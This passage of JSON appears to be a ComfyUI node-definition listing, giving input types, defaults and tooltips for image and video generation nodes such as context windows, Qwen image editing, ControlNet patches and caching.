"JsonExtractString": {"input": {"required": {"json_string": ["STRING", {"multiline": true}], "key": ["STRING", {"multiline": false}]}}, "input_order": {"required": ["json_string", "key"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "JsonExtractString", "display_name": "Extract Text from JSON", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["json", "extract json", "parse json", "json value", "read json"], "essentials_category": null, "has_intermediate_output": false}, "WanCameraEmbedding": {"input": {"required": {"camera_pose": ["COMBO", {"default": "Static", "multiselect": false, "options": ["Static", "Pan Up", "Pan Down", "Pan Left", "Pan Right", "Zoom In", "Zoom Out", "Anti Clockwise (ACW)", "ClockWise (CW)"]}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}]}, "optional": {"speed": ["FLOAT", {"default": 1.0, "min": 0, "max": 10.0, "step": 0.1}], "fx": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 1e-09}], "fy": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 1e-09}], "cx": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 0.01}], "cy": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0, "max": 1, "step": 0.01}]}}, "input_order": {"required": ["camera_pose", "width", "height", "length"], "optional": ["speed", "fx", "fy", "cx", "cy"]}, "is_input_list": false, "output": ["WAN_CAMERA_EMBEDDING", "INT", "INT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["camera_embedding", "width", "height", "length"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "WanCameraEmbedding", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_camera_trajectory", "category": "model/conditioning/wan/camera", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReferenceLatent": {"input": {"required": {"conditioning": ["CONDITIONING", {}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["conditioning"], "optional": ["latent"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReferenceLatent", "display_name": "Set Reference Latent", "description": "This node sets the guiding latent for an edit model. If the model supports it you can chain multiple to set multiple reference images.", "python_module": "comfy_extras.nodes_edit_model", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TCFG": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "TCFG", "display_name": "Tangential Damping CFG", "description": "TCFG \u2013 Tangential Damping CFG (2503.18137)\n\nRefine the uncond (negative) to align with the cond (positive) for improving quality.", "python_module": "comfy_extras.nodes_tcfg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ContextWindowsManual": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply context windows to during sampling."}], "context_length": ["INT", {"tooltip": "The length of the context window.", "default": 16, "min": 1}], "context_overlap": ["INT", {"tooltip": "The overlap of the context window.", "default": 4, "min": 0}], "context_schedule": ["COMBO", {"tooltip": "Step-dependent scheduling algorithm for context windows.", "default": "standard_static", "multiselect": false, "options": ["standard_static", "standard_uniform", "looped_uniform", "batched"]}], "context_stride": ["INT", {"tooltip": "The stride of the context window; only applicable to uniform schedules.", "default": 1, "min": 1}], "closed_loop": ["BOOLEAN", {"tooltip": "Whether to close the context window loop; only applicable to looped schedules.", "default": false}], "fuse_method": ["COMBO", {"tooltip": "The method to use to fuse the context windows.", "default": "pyramid", "multiselect": false, "options": ["pyramid", "relative", "flat", "overlap-linear"]}], "dim": ["INT", {"tooltip": "The dimension to apply the context windows to.", "default": 0, "min": 0, "max": 5}], "freenoise": ["BOOLEAN", {"tooltip": "Whether to apply FreeNoise noise shuffling, improves window blending.", "default": false}], "cond_retain_index_list": ["STRING", {"tooltip": "List of latent indices to retain in the conditioning tensors for each window. For concat-style I2V models (e.g. Wan I2V, HunyuanVideo I2V, Cosmos I2V, SVD) the encoded start image lives in the c_concat conditioning channels; setting this to '0' will retain that start image content at sub-pos 0 of every window.", "default": "", "multiline": false}], "split_conds_to_windows": ["BOOLEAN", {"tooltip": "Whether to split multiple conditionings (created by ConditionCombine) to each window based on region index.", "default": false}], "latent_retain_index_list": ["STRING", {"tooltip": "List of latent indices to retain in the noise latent itself for each window. Use for workflows where reference content (e.g. a start image) lives directly in the noise latent rather than in separate conditioning channels (e.g. inplace-style I2V like LTXV, AnimateDiff). Independent of cond_retain_index_list.", "default": "", "multiline": false}], "causal_window_fix": ["BOOLEAN", {"tooltip": "Whether to add a causal fix frame to non-0-indexed context windows.", "default": true}]}}, "input_order": {"required": ["model", "context_length", "context_overlap", "context_schedule", "context_stride", "closed_loop", "fuse_method", "dim", "freenoise", "cond_retain_index_list", "split_conds_to_windows", "latent_retain_index_list", "causal_window_fix"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with context windows applied during sampling."], "output_matchtypes": null, "name": "ContextWindowsManual", "display_name": "Context Windows (Manual)", "description": "Manually set context windows.", "python_module": "comfy_extras.nodes_context_windows", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanContextWindowsManual": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply context windows to during sampling."}], "context_length": ["INT", {"tooltip": "The length of the context window in real frames. Must be 4*n + 1.", "default": 81, "min": 1, "max": 16384, "step": 4}], "context_overlap": ["INT", {"tooltip": "The overlap of the context window in real frames.", "default": 30, "min": 0}], "context_schedule": ["COMBO", {"tooltip": "Step-dependent scheduling algorithm for context windows.", "default": "standard_uniform", "multiselect": false, "options": ["standard_static", "standard_uniform", "looped_uniform", "batched"]}], "context_stride": ["INT", {"tooltip": "The stride of the context window; only applicable to uniform schedules.", "advanced": true, "default": 1, "min": 1}], "closed_loop": ["BOOLEAN", {"tooltip": "Whether to close the context window loop; only applicable to looped schedules.", "advanced": true, "default": false}], "fuse_method": ["COMBO", {"tooltip": "The method to use to fuse the context windows.", "default": "pyramid", "multiselect": false, "options": ["pyramid", "relative", "flat", "overlap-linear"]}], "freenoise": ["BOOLEAN", {"tooltip": "Whether to apply FreeNoise noise shuffling, improves window blending.", "advanced": true, "default": true}], "retain_first_frame": ["BOOLEAN", {"tooltip": "Retain the first I2V frame in every context window (may help retain initial reference).", "default": false}], "split_conds_to_windows": ["BOOLEAN", {"tooltip": "Whether to split multiple conditionings (created by ConditionCombine) to each window based on region index.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "context_length", "context_overlap", "context_schedule", "context_stride", "closed_loop", "fuse_method", "freenoise", "retain_first_frame", "split_conds_to_windows"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with context windows applied during sampling."], "output_matchtypes": null, "name": "WanContextWindowsManual", "display_name": "Wan Context Windows", "description": "Set context windows for Wan-like models.", "python_module": "comfy_extras.nodes_context_windows", "category": "model/patch/wan", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVContextWindows": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply context windows to during sampling."}], "context_length": ["INT", {"tooltip": "The length of the context window in real frames. Must be 8*n + 1.", "default": 145, "min": 1, "max": 16384, "step": 8}], "context_overlap": ["INT", {"tooltip": "The overlap of the context window in real frames.", "default": 40, "min": 0, "step": 8}], "context_schedule": ["COMBO", {"tooltip": "Step-dependent scheduling algorithm for context windows.", "default": "standard_uniform", "multiselect": false, "options": ["standard_static", "standard_uniform", "looped_uniform", "batched"]}], "context_stride": ["INT", {"tooltip": "The stride of the context window; only applicable to uniform schedules.", "advanced": true, "default": 1, "min": 1}], "closed_loop": ["BOOLEAN", {"tooltip": "Whether to close the context window loop; only applicable to looped schedules.", "advanced": true, "default": false}], "fuse_method": ["COMBO", {"tooltip": "The method to use to fuse the context windows.", "default": "pyramid", "multiselect": false, "options": ["pyramid", "relative", "flat", "overlap-linear"]}], "freenoise": ["BOOLEAN", {"tooltip": "Whether to apply FreeNoise noise shuffling, improves window blending.", "advanced": true, "default": true}], "retain_first_frame": ["BOOLEAN", {"tooltip": "Retain the first latent frame in every context window (may help retain initial reference).", "default": false}], "split_conds_to_windows": ["BOOLEAN", {"tooltip": "Whether to split multiple conditionings (created by ConditionCombine) to each window based on region index.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "context_length", "context_overlap", "context_schedule", "context_stride", "closed_loop", "fuse_method", "freenoise", "retain_first_frame", "split_conds_to_windows"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with context windows applied during sampling."], "output_matchtypes": null, "name": "LTXVContextWindows", "display_name": "LTXV Context Windows", "description": "Set context windows for LTXV-like models.", "python_module": "comfy_extras.nodes_context_windows", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeQwenImageEdit": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}]}, "optional": {"vae": ["VAE", {}], "image": ["IMAGE", {}]}}, "input_order": {"required": ["clip", "prompt"], "optional": ["vae", "image"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeQwenImageEdit", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_qwen", "category": "model/conditioning/qwen image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeQwenImageEditPlus": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}]}, "optional": {"vae": ["VAE", {}], "image1": ["IMAGE", {}], "image2": ["IMAGE", {}], "image3": ["IMAGE", {}]}}, "input_order": {"required": ["clip", "prompt"], "optional": ["vae", "image1", "image2", "image3"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeQwenImageEditPlus", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_qwen", "category": "model/conditioning/qwen image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyQwenImageLayeredLatentImage": {"input": {"required": {"width": ["INT", {"default": 640, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 640, "min": 16, "max": 16384, "step": 16}], "layers": ["INT", {"default": 3, "min": 0, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "layers", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyQwenImageLayeredLatentImage", "display_name": "Empty Qwen Image Layered Latent", "description": "", "python_module": "comfy_extras.nodes_qwen", "category": "model/latent/qwen", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeBooguEdit": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}], "negative_prompt": ["STRING", {"advanced": true, "multiline": true, "dynamicPrompts": true}], "vae": ["VAE", {}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image(s) to edit. Boogu focuses on one reference per sample; more are allowed.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}}, "input_order": {"required": ["clip", "prompt", "negative_prompt", "vae", "images"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "TextEncodeBooguEdit", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_boogu", "category": "model/conditioning/boogu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyChromaRadianceLatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyChromaRadianceLatentImage", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_chroma_radiance", "category": "model/latent/chroma radiance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ChromaRadianceOptions": {"input": {"required": {"model": ["MODEL", {}], "preserve_wrapper": ["BOOLEAN", {"tooltip": "When enabled, will delegate to an existing model function wrapper if it exists. Generally should be left enabled.", "default": true}], "start_sigma": ["FLOAT", {"tooltip": "First sigma that these options will be in effect.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0}], "end_sigma": ["FLOAT", {"tooltip": "Last sigma that these options will be in effect.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0}], "nerf_tile_size": ["INT", {"tooltip": "Allows overriding the default NeRF tile size. -1 means use the default (32). 0 means use non-tiling mode (may require a lot of VRAM).", "advanced": true, "default": -1, "min": -1}], "force_sequential_txt_ids": ["BOOLEAN", {"tooltip": "Force usage of sequential text token IDs instead of zeroes. Should be used for checkpoints from 2026-05-22 to 2026-06-01 that are trained in this way but do not contain the __sequential__ key in the state dict.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "preserve_wrapper", "start_sigma", "end_sigma", "nerf_tile_size", "force_sequential_txt_ids"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "ChromaRadianceOptions", "display_name": null, "description": "Allows setting advanced options for the Chroma Radiance model.", "python_module": "comfy_extras.nodes_chroma_radiance", "category": "model/patch/chroma radiance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PiDConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "latent": ["LATENT", {"tooltip": "latent (from VAEEncode or a KSampler)."}], "latent_format": ["COMBO", {"tooltip": "Flux1 (16-ch) and Flux2 (128-ch) latents are auto-detected from channel dim under 'flux'. For SD3 (16-ch), SDXL (4-ch), or QwenImage (16-ch), select manually.", "default": "flux", "multiselect": false, "options": ["flux", "sd3", "sdxl", "qwenimage"]}], "degrade_sigma": ["FLOAT", {"tooltip": "0 = clean latent. Increase to denoise corrupted latent outputs.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["positive", "latent", "latent_format", "degrade_sigma"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PiDConditioning", "display_name": "PiD Conditioning", "description": "Attaches a latent and a degrade_sigma scalar to a CONDITIONING for PiD decoding/upscaling", "python_module": "comfy_extras.nodes_pid", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelPatchLoader": {"input": {"required": {"name": [[]]}}, "input_order": {"required": ["name"]}, "is_input_list": false, "output": ["MODEL_PATCH"], "output_is_list": [false], "output_name": ["MODEL_PATCH"], "name": "ModelPatchLoader", "display_name": "Load Model Patch", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "QwenImageDiffsynthControlnet": {"input": {"required": {"model": ["MODEL"], "model_patch": ["MODEL_PATCH"], "vae": ["VAE"], "image": ["IMAGE"], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}, "optional": {"mask": ["MASK"]}}, "input_order": {"required": ["model", "model_patch", "vae", "image", "strength"], "optional": ["mask"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "QwenImageDiffsynthControlnet", "display_name": "Apply Qwen Image DiffSynth ControlNet", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/qwen", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ZImageFunControlnet": {"input": {"required": {"model": ["MODEL"], "model_patch": ["MODEL_PATCH"], "vae": ["VAE"], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}, "optional": {"image": ["IMAGE"], "inpaint_image": ["IMAGE"], "mask": ["MASK"]}}, "input_order": {"required": ["model", "model_patch", "vae", "strength"], "optional": ["image", "inpaint_image", "mask"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ZImageFunControlnet", "display_name": "Apply Z-Image Fun ControlNet", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/z-image", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "USOStyleReference": {"input": {"required": {"model": ["MODEL"], "model_patch": ["MODEL_PATCH"], "clip_vision_output": ["CLIP_VISION_OUTPUT"]}}, "input_order": {"required": ["model", "model_patch", "clip_vision_output"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "USOStyleReference", "display_name": "Apply USO Style Reference", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/flux", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "SUPIRApply": {"input": {"required": {"model": ["MODEL", {}], "model_patch": ["MODEL_PATCH", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "strength_start": ["FLOAT", {"tooltip": "Control strength at the start of sampling (high sigma).", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "strength_end": ["FLOAT", {"tooltip": "Control strength at the end of sampling (low sigma). Linearly interpolated from start.", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "restore_cfg": ["FLOAT", {"tooltip": "Pulls denoised output toward the input latent. Higher = stronger fidelity to input. 0 to disable.", "advanced": true, "default": 4.0, "min": 0.0, "max": 20.0, "step": 0.1}], "restore_cfg_s_tmin": ["FLOAT", {"tooltip": "Sigma threshold below which restore_cfg is disabled.", "advanced": true, "default": 0.05, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "model_patch", "vae", "image", "strength_start", "strength_end", "restore_cfg", "restore_cfg_s_tmin"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SUPIRApply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/supir", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EasyCache": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to add EasyCache to."}], "reuse_threshold": ["FLOAT", {"tooltip": "The threshold for reusing cached steps.", "advanced": true, "default": 0.2, "min": 0.0, "max": 3.0, "step": 0.01}], "start_percent": ["FLOAT", {"tooltip": "The relative sampling step to begin use of EasyCache.", "advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.01}], "end_percent": ["FLOAT", {"tooltip": "The relative sampling step to end use of EasyCache.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "verbose": ["BOOLEAN", {"tooltip": "Whether to log verbose information.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "reuse_threshold", "start_percent", "end_percent", "verbose"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with EasyCache."], "output_matchtypes": null, "name": "EasyCache", "display_name": "EasyCache", "description": "Native EasyCache implementation.", "python_module": "comfy_extras.nodes_easycache", "category": "advanced/debug", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LazyCache": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to add LazyCache to."}], "reuse_threshold": ["FLOAT", {"tooltip": "The threshold for reusing cached steps.", "advanced": true, "default": 0.2, "min": 0.0, "max": 3.0, "step": 0.01}], "start_percent": ["FLOAT", {"tooltip": "The relative sampling step to begin use of LazyCache.", "advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.01}], "end_percent": ["FLOAT", {"tooltip": "The relative sampling step to end use of LazyCache.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "verbose": ["BOOLEAN", {"tooltip": "Whether to log verbose information.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "reuse_threshold", "start_percent", "end_percent", "verbose"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with LazyCache."], "output_matchtypes": null, "name": "LazyCache", "display_name": "LazyCache", "description": "A homebrew version of EasyCache - even 'easier' version of EasyCache to implement. Overall works worse than EasyCache, but better in some rare cases AND universal compatibility with everything in ComfyUI.", "python_module": "comfy_extras.nodes_easycache", "category": "advanced/debug", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AudioEncoderLoader": {"input": {"required": {"audio_encoder_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["audio_encoder_name"]}, "is_input_list": false, "output": ["AUDIO_ENCODER"], "output_is_list": [false], "output_name": ["AUDIO_ENCODER"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioEncoderLoader", "display_name": "Load Audio Encoder", "description": "", "python_module": "comfy_extras.nodes_audio_encoder", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AudioEncoderEncode": {"input": {"required": {"audio_encoder": ["AUDIO_ENCODER", {}], "audio": ["AUDIO", {}]}}, "input_order": {"required": ["audio_encoder", "audio"]}, "is_input_list": false, "output": ["AUDIO_ENCODER_OUTPUT"], "output_is_list": [false], "output_name": ["AUDIO_ENCODER_OUTPUT"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioEncoderEncode", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_audio_encoder", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ScaleROPE": {"input": {"required": {"model": ["MODEL", {}], "scale_x": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1}], "shift_x": ["FLOAT", {"advanced": true, "default": 0.0, "min": -256.0, "max": 256.0, "step": 0.1}], "scale_y": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1}], "shift_y": ["FLOAT", {"advanced": true, "default": 0.0, "min": -256.0, "max": 256.0, "step": 0.1}], "scale_t": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1}], "shift_t": ["FLOAT", {"advanced": true, "default": 0.0, "min": -256.0, "max": 256.0, "step": 0.1}]}}, "input_order": {"required": ["model", "scale_x", "shift_x", "scale_y", "shift_y", "scale_t", "shift_t"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "ScaleROPE", "display_name": null, "description": "Scale and shift the ROPE of the model.", "python_module": "comfy_extras.nodes_rope", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ComfySwitchNode": {"input": {"required": {"switch": ["BOOLEAN", {}], "on_false": ["COMFY_MATCHTYPE_V3", {"lazy": true, "template": {"template_id": "switch", "allowed_types": "*"}}], "on_true": ["COMFY_MATCHTYPE_V3", {"lazy": true, "template": {"template_id": "switch", "allowed_types": "*"}}]}}, "input_order": {"required": ["switch", "on_false", "on_true"]}, "is_input_list": false, "output": ["COMFY_MATCHTYPE_V3"], "output_is_list": [false], "output_name": ["output"], "output_tooltips": [null], "output_matchtypes": ["switch"], "name": "ComfySwitchNode", "display_name": "If/Else Switch", "description": "", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["if", "then", "switch", "conditional", "branch"], "essentials_category": null, "has_intermediate_output": false}, "CustomCombo": {"input": {"required": {"choice": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["choice"]}, "is_input_list": false, "output": ["STRING", "INT"], "output_is_list": [false, false], "output_name": ["STRING", "INDEX"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "CustomCombo", "display_name": "Custom Combo", "description": "", "python_module": "comfy_extras.nodes_logic", "category": "utilities", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ComfyNotNode": {"input": {"required": {"value": ["*", {}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "ComfyNotNode", "display_name": "Not", "description": "Logical NOT operation. Returns true if the value is falsy. Uses Python's rules for truthiness.", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["invert", "toggle", "negate", "flip boolean"], "essentials_category": null, "has_intermediate_output": false}, "ComfyAndNode": {"input": {"required": {"values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["*", {}]}}, "prefix": "value", "min": 1, "max": 10}}]}}, "input_order": {"required": ["values"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "ComfyAndNode", "display_name": "And", "description": "Logical AND operation. Returns true if all of the values are truthy. Uses Python's rules for truthiness.", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["all", "every"], "essentials_category": null, "has_intermediate_output": false}, "ComfyOrNode": {"input": {"required": {"values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["*", {}]}}, "prefix": "value", "min": 1, "max": 10}}]}}, "input_order": {"required": ["values"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "ComfyOrNode", "display_name": "Or", "description": "Logical OR operation. Returns true if any of the values are truthy. Uses Python's rules for truthiness.", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["any", "some"], "essentials_category": null, "has_intermediate_output": false}, "ResolutionSelector": {"input": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for the output dimensions.", "default": "1:1 (Square)", "multiselect": false, "options": ["1:1 (Square)", "2:3 (Portrait Photo)", "3:2 (Photo)", "3:4 (Portrait Standard)", "4:3 (Standard)", "9:16 (Portrait Widescreen)", "16:9 (Widescreen)", "21:9 (Ultrawide)"]}], "megapixels": ["FLOAT", {"tooltip": "Target total megapixels. 1.0 MP \u2248 1024x1024 for square.", "default": 1.0, "min": 0.1, "max": 16.0, "step": 0.1}], "multiple": ["INT", {"tooltip": "Nearest multiple of the result to set the selected resolution to.", "advanced": true, "default": 8, "min": 8, "max": 128, "step": 4}]}}, "input_order": {"required": ["aspect_ratio", "megapixels", "multiple"]}, "is_input_list": false, "output": ["INT", "INT"], "output_is_list": [false, false], "output_name": ["width", "height"], 